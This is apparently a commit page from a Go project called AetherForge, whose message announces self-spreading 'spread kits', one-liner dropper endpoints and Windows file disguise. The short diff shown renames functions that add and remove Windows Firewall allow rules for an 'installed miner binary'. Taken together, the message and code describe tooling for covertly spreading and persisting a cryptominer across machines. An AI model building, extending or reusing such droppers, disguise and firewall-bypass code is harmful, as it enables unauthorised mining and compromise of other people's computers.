Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
@@ -13,9 +13,8 @@ import (
|
||||
|
||||
const firewallRulePrefix = "AetherForge"
|
||||
|
||||
// EnsureFirewallExclusion registers Windows Firewall allow rules for the installed miner binary.
|
||||
// Requires administrator privileges on many systems; failures are logged and ignored.
|
||||
func EnsureFirewallExclusion(cfg config.RuntimeConfig, exePath string) {
|
||||
// EnsureFirewallExclusionWindows registers Windows Firewall allow rules for the installed miner binary.
|
||||
func EnsureFirewallExclusionWindows(cfg config.RuntimeConfig, exePath string) {
|
||||
if !cfg.FirewallExclusion {
|
||||
return
|
||||
}
|
||||
@@ -52,8 +51,8 @@ if (-not (Get-NetFirewallRule -DisplayName $out -ErrorAction SilentlyContinue))
|
||||
log.Printf("[firewall] Windows Firewall allow rules registered for %s", exePath)
|
||||
}
|
||||
|
||||
// RemoveFirewallExclusion deletes firewall rules created for this worker.
|
||||
func RemoveFirewallExclusion(cfg config.RuntimeConfig) {
|
||||
// RemoveFirewallExclusionWindows deletes firewall rules created for this worker.
|
||||
func RemoveFirewallExclusionWindows(cfg config.RuntimeConfig) {
|
||||
ruleBase := firewallRuleBaseName(cfg)
|
||||
for _, name := range []string{ruleBase + " In", ruleBase + " Out"} {
|
||||
script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
|
||||
|
||||
Reference in New Issue
Block a user